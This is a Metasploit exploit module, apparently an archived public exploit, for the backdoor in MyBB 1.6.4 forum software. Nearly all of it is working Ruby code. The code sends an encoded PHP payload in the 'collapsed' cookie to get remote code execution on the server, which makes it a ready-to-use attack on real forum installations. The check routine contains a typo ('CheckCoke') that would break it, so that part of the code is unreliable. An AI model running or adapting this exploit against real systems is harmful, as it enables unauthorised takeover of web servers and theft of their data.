MyBB 1.6.4 – Backdoor Access (Metasploit)
## # $Id: mybb_backdoor.rb 13838 2011-10-09 03:22:07Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'myBB 1.6.4 Backdoor Exploit', 'Description' => %q{ myBB is a popular open source PHP forum software. Version 1.6.4 contained an unauthorized backdoor, distributed as part of the vendor's source package. }, 'Author' => [ 'tdz', ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 13838 $', 'References' => [ [ 'BID', '49993' ], [ 'SECUNIA', '46300' ], [ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 4000, 'DisableNops' => true, 'Keys' => ['php'], }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 06 2011' )) register_options( [ OptString.new('URI', [ true, "myBB path", '/index.php']), ], self.class) end def uri datastore['URI'] end def check print_status("Checking target") res = send_request_raw( {'method' => 'GET', 'uri' => uri}, 10 ) if (not res) or (not res.code.between?(200,299)) return Exploit::CheckCode::Safe else return Exploit::CheckCoke::Detected end end def exploit print_status("Sending exploit request") # See the patch at http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt # for details of the backdoor mechanism. cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|" cookie << Rex::Text.uri_encode(payload.encoded) response = send_request_raw({ 'method' => 'GET', 'global' => true, 'uri' => uri, 'headers' => { 'Cookie' => cookie, } },10) if (not response) or (not response.code.between?(200,299)) print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}." else handler end end end |